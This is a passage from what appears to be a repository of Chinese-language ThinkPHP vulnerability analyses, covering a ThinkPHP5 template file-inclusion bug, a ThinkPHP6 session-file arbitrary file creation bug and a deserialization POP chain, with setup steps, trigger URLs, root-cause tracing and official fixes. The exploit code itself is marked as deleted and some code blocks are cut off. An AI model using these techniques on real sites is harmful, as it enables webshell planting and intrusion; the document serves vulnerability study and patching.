201 | SimpleXMLIterator SimpleXMLIterator
202 | SoapClient SoapClient
203 | SoapVar SoapVar
204 | SoapServer SoapServer
205 | SoapFault SoapFault
206 | SoapParam SoapParam
207 | SoapHeader SoapHeader
208 | PharException PharException
209 | Phar Phar
210 | PharData PharData
211 | PharFileInfo PharFileInfo
212 | XMLReader XMLReader
213 | XMLWriter XMLWriter
214 | ZipArchive ZipArchive
215 | PDOException PDOException
216 | PDO PDO
217 | PDOStatement PDOStatement
218 | PDORow PDORow
219 | CURLFile CURLFile
220 | Collator Collator
221 | NumberFormatter NumberFormatter
222 | Normalizer Normalizer
223 | Locale Locale
224 | MessageFormatter MessageFormatter
225 | IntlDateFormatter IntlDateFormatter
226 | ResourceBundle ResourceBundle
227 | Transliterator Transliterator
228 | IntlTimeZone IntlTimeZone
229 | IntlCalendar IntlCalendar
230 | IntlGregorianCalendar IntlGregorianCalendar
231 | Spoofchecker Spoofchecker
232 | IntlException IntlException
233 | IntlIterator IntlIterator
234 | IntlBreakIterator IntlBreakIterator
235 | IntlRuleBasedBreakIterator IntlRuleBasedBreakIterator
236 | IntlCodePointBreakIterator IntlCodePointBreakIterator
237 | IntlPartsIterator IntlPartsIterator
238 | UConverter UConverter
239 | JsonIncrementalParser JsonIncrementalParser
240 | mysqli_sql_exception mysqli_sql_exception
241 | mysqli_driver mysqli_driver
242 | mysqli mysqli
243 | mysqli_warning mysqli_warning
244 | mysqli_result mysqli_result
245 | mysqli_stmt mysqli_stmt
246 | Composer\Autoload\ComposerStaticInit81a0c33d33d83a86fdd976e2aff753d9 Composer\Autoload\ComposerStaticInit8a67cf04fc9c0db5b85a9d897c12a44c
247 | think\Loader think\Loader
248 | think\Error think\Error
249 | think\Container think\Config
250 | think\App think\App
251 | think\Env think\Request
252 | think\Config think\Hook
253 | think\Hook think\Env
254 | think\Facade think\Lang
255 | think\facade\Env think\Log
256 | env think\Route
257 | think\Db
258 | think\Lang
259 | think\Request
260 | think\facade\Route
261 | route
262 | think\Route
263 | think\route\Rule
264 | think\route\RuleGroup
265 | think\route\Domain
266 | think\route\RuleItem
267 | think\route\RuleName
268 | think\route\Dispatch
269 | think\route\dispatch\Url
270 | think\route\dispatch\Module
271 | think\Middleware
272 | think\Cookie
273 | think\View
274 | think\view\driver\Think
275 | think\Template
276 | think\template\driver\File
277 | think\Log
278 | think\log\driver\File
279 | think\Session
280 | think\Debug
281 | think\Cache
282 | think\cache\Driver
283 | think\cache\driver\File
284 | ```
285 |
286 | ## 漏洞修复
287 |
288 | 官方的修复方法是:增加正则表达式 `^[A-Za-z](\w)*$` ,对控制器名进行合法性检测。
289 |
290 | 
291 |
292 | ## 攻击总结
293 |
294 | 最后,再通过一张攻击流程图来回顾整个攻击过程。
295 |
296 | 
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之代码执行9/1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5漏洞分析之代码执行9/1.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之代码执行9/2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5漏洞分析之代码执行9/2.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之代码执行9/3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5漏洞分析之代码执行9/3.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之代码执行9/4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5漏洞分析之代码执行9/4.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之代码执行9/5.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5漏洞分析之代码执行9/5.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之代码执行9/6.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5漏洞分析之代码执行9/6.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之代码执行9/7.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5漏洞分析之代码执行9/7.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之代码执行9/8.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5漏洞分析之代码执行9/8.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之文件包含7.md:
--------------------------------------------------------------------------------
1 | 本系列文章将针对 **ThinkPHP** 的历史漏洞进行分析,今后爆出的所有 **ThinkPHP** 漏洞分析,也将更新于 [ThinkPHP-Vuln](https://github.com/Mochazz/ThinkPHP-Vuln) 项目上。本篇文章,将分析 **ThinkPHP** 中存在的 **文件包含** 漏洞。
2 |
3 | ## 漏洞概要
4 |
5 | 本次漏洞存在于 **ThinkPHP** 模板引擎中,在加载模版解析变量时存在变量覆盖问题,而且程序没有对数据进行很好的过滤,最终导致 **文件包含漏洞** 的产生。漏洞影响版本: **5.0.0<=ThinkPHP5<=5.0.18** 、**5.1.0<=ThinkPHP<=5.1.10**。
6 |
7 | ## 漏洞环境
8 |
9 | 通过以下命令获取测试环境代码:
10 |
11 | ```bash
12 | composer create-project --prefer-dist topthink/think=5.0.18 tpdemo
13 | ```
14 |
15 | 将 **composer.json** 文件的 **require** 字段设置成如下:
16 |
17 | ```json
18 | "require": {
19 | "php": ">=5.6.0",
20 | "topthink/framework": "5.0.18"
21 | },
22 | ```
23 |
24 | 然后执行 `composer update` ,并将 **application/index/controller/Index.php** 文件代码设置如下:
25 |
26 | ```php
27 | assign(request()->get());
35 | return $this->fetch(); // 当前模块/默认视图目录/当前控制器(小写)/当前操作(小写).html
36 | }
37 | }
38 | ```
39 |
40 | 创建 **application/index/view/index/index.html** 文件,内容随意(没有这个模板文件的话,在渲染时程序会报错),并将图片马 **1.jpg** 放至 **public** 目录下(模拟上传图片操作)。接着访问 **http://localhost:8000/index/index/index?cacheFile=demo.php** 链接,即可触发 **文件包含漏洞** 。
41 |
42 | 
43 |
44 | ## 漏洞分析
45 |
46 | 首先在官方发布的 **5.0.19** 版本更新说明中,发现其中提到该版本包含了一个安全更新。
47 |
48 | 
49 |
50 | 我们可以查阅其 **commit** 记录,发现其改进了模板引擎,其中存在危险函数 **extract** ,有可能引发变量覆盖漏洞。接下来,我们直接跟进代码一探究竟。
51 |
52 | 
53 |
54 | 首先,用户可控数据未经过滤,直接通过 **Controller** 类的 **assign** 方法进行模板变量赋值,并将可控数据存在 **think\View** 类的 **data** 属性中。
55 |
56 | 
57 |
58 | 接着,程序开始调用 **fetch** 方法加载模板输出。这里如果我们没有指定模板名称,其会使用默认的文件作为模板,模板路径类似 **当前模块/默认视图目录/当前控制器(小写)/当前操作(小写).html** ,如果默认路径模板不存在,程序就会报错。
59 |
60 | 
61 |
62 | 我们跟进到 **Template** 类的 **fetch** 方法,可以发现可控变量 **$vars** 赋值给 **$this->data** 并最终传入 **File** 类的 **read** 方法。而 **read** 方法中在使用了 **extract** 函数后,直接包含了 **$cacheFile** 变量。这里就是漏洞发生的关键原因(可以通过 **extract** 函数,直接覆盖 **$cacheFile** 变量,因为 **extract** 函数中的参数 **$vars** 可以由用户控制)。
63 |
64 | 
65 |
66 | ## 漏洞修复
67 |
68 | 官方的修复方法是:先将 **$cacheFile** 变量存储在 **$this->cacheFile** 中,在使用 **extract** 函数后,最终 **include** 的变量是 **$this->cacheFile** ,这样也就避免了 **include** 被覆盖后的变量值。
69 |
70 | 
71 |
72 | ## 攻击总结
73 |
74 | 最后,再通过一张攻击流程图来回顾整个攻击过程。
75 |
76 | 
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之文件包含7/1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5漏洞分析之文件包含7/1.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之文件包含7/2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5漏洞分析之文件包含7/2.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之文件包含7/3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5漏洞分析之文件包含7/3.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之文件包含7/4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5漏洞分析之文件包含7/4.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之文件包含7/5.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5漏洞分析之文件包含7/5.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之文件包含7/6.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5漏洞分析之文件包含7/6.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之文件包含7/7.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5漏洞分析之文件包含7/7.png
--------------------------------------------------------------------------------
/ThinkPHP6/ThinkPHP6.0.x任意文件创建/1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP6/ThinkPHP6.0.x任意文件创建/1.png
--------------------------------------------------------------------------------
/ThinkPHP6/ThinkPHP6.0.x任意文件创建/2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP6/ThinkPHP6.0.x任意文件创建/2.png
--------------------------------------------------------------------------------
/ThinkPHP6/ThinkPHP6.0.x任意文件创建/3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP6/ThinkPHP6.0.x任意文件创建/3.png
--------------------------------------------------------------------------------
/ThinkPHP6/ThinkPHP6.0.x任意文件创建/4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP6/ThinkPHP6.0.x任意文件创建/4.png
--------------------------------------------------------------------------------
/ThinkPHP6/ThinkPHP6.0.x任意文件创建/5.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP6/ThinkPHP6.0.x任意文件创建/5.png
--------------------------------------------------------------------------------
/ThinkPHP6/ThinkPHP6.0.x任意文件创建/6.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP6/ThinkPHP6.0.x任意文件创建/6.png
--------------------------------------------------------------------------------
/ThinkPHP6/ThinkPHP6.0.x任意文件创建/7.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP6/ThinkPHP6.0.x任意文件创建/7.png
--------------------------------------------------------------------------------
/ThinkPHP6/ThinkPHP6.0任意文件写.md:
--------------------------------------------------------------------------------
1 | 本系列文章将针对 **ThinkPHP** 的历史漏洞进行分析,今后爆出的所有 **ThinkPHP** 漏洞分析,也将更新于 [ThinkPHP-Vuln](https://github.com/Mochazz/ThinkPHP-Vuln) 项目上。本篇文章,将分析存在于 **ThinkPHP6.0.X** 中的 **任意文件创建** 漏洞,漏洞影响 **ThinkPHP6.0.0、6.0.1** 。
2 |
3 | ## 漏洞环境
4 |
5 | ```bash
6 | ➜ html composer create-project topthink/think tp60
7 | ```
8 |
9 | 将 **tp60/composer.json** 文件的 **"topthink/framework": "^6.0.*",** 改成 **6.0.0** 版本,并执行如下命令。
10 |
11 | ```bash
12 | ➜ tp60 composer update
13 | ➜ tp60 ./think run --host=0.0.0.0 --port=8000
14 | ```
15 |
16 | 修改 **/var/www/html/tp60/app/controller/Index.php** 文件如下:
17 |
18 | ```php
19 | 近日,奇安信补天漏洞响应平台收到ThinkPHP 6.0 “任意”文件创建漏洞,该漏洞源于ThinkPHP 6.0的某个逻辑漏洞,成功利用此漏洞的攻击者可以实现“任意”文件创建或覆盖,可能造成 Web 应用被破坏(远程拒绝服务),特殊场景下还可造成 GetShell。建议各单位自查,并尽快升级至修复版本。
67 |
68 | 所以我们很容易想到该漏洞可能和文件存储 **session** 有关。我们发送正常数据包时,会发现 **session** 文件默认存储在 **/var/www/html/tp60/runtime/session** 下,其文件名格式类似 **sess_PHPSESSID** 。而当我们在 **PHPSESSID** 中插入特殊字符时,程序还是能正常生成对应文件。因此,这里存在任意文件创建漏洞,且通过插入路径穿越符,还存在文件覆盖和getshell的可能。
69 |
70 | 
71 |
72 | 下面我们来看具体的漏洞代码。在 **session** 初始化时,程序会将 **PHPSESSID** 对应的值赋值给 **\think\session\Store:id** 。这里如果 **PHPSESSID** 对应值长度等于32,则无任何过滤直接赋值。
73 |
74 | 
75 |
76 | 然后在程序构造响应数据返回给用户时,会先将 **session** 写入文件,而这个文件的文件名则由之前的 **PHPSESSID** 拼接而成。由于没有任何的过滤,这也就造成了任意文件创建、覆盖。如果在 **session** 数据可控的情况下,还能达到 **getshell** 的目的。
77 |
78 | 
79 |
80 | 
81 |
82 | 最终利用效果如下:
83 |
84 | 
--------------------------------------------------------------------------------
/ThinkPHP6/ThinkPHP6.X反序列化利用链.md:
--------------------------------------------------------------------------------
1 | 本系列文章将针对 **ThinkPHP** 的历史漏洞进行分析,今后爆出的所有 **ThinkPHP** 漏洞分析,也将更新于 [ThinkPHP-Vuln](https://github.com/Mochazz/ThinkPHP-Vuln) 项目上。本篇文章,将分析存在于 **ThinkPHP 6.0.X** 中的反序列化利用链。
2 |
3 | 本篇文章,将记录存在于 **ThinkPHP6.x** 中的反序列化POP链。
4 |
5 | ## 环境搭建
6 |
7 | ```bash
8 | ➜ html composer create-project --prefer-dist topthink/think=6.0.x-dev tp6x
9 | ➜ html cd tp6x
10 | ➜ tp6x ./think run
11 | ```
12 |
13 | 将 **application/index/controller/Index.php** 代码修改成如下:
14 |
15 | ```php
16 | table** 或 **$this->suffix** 设置成类对象,然后在拼接的时候,触发其 **__toString** 方法,接着配合原先的链就可以完成整条POP链。
46 |
47 | 
48 |
49 | 我们刚刚看的都是 **Model** 类的代码,而 **Model** 是一个抽象类,我们找到它的继承类就好了。这里我选取 **Pivot** 类,所以这条链的 **EXP** 如下(例如这里执行 `curl 127.0.0.1:8888` ):
50 |
51 | ```php
52 | 已删除
53 | ```
54 |
55 | 
56 |
57 | 最后整理一下攻击链的流程图:
58 |
59 | 
60 |
61 | ## 参考
62 |
63 | [thinkphp v6.0.x 反序列化利用链挖掘](https://www.anquanke.com/post/id/187393)
--------------------------------------------------------------------------------
/ThinkPHP6/ThinkPHP6.X反序列化利用链/1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP6/ThinkPHP6.X反序列化利用链/1.png
--------------------------------------------------------------------------------
/ThinkPHP6/ThinkPHP6.X反序列化利用链/2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP6/ThinkPHP6.X反序列化利用链/2.png
--------------------------------------------------------------------------------
/ThinkPHP6/ThinkPHP6.X反序列化利用链/3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP6/ThinkPHP6.X反序列化利用链/3.png
--------------------------------------------------------------------------------
/ThinkPHP6/ThinkPHP6.X反序列化利用链/4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP6/ThinkPHP6.X反序列化利用链/4.png
--------------------------------------------------------------------------------
/icon/1.svg:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/icon/2.svg:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/icon/3.svg:
--------------------------------------------------------------------------------
1 |
21 |
--------------------------------------------------------------------------------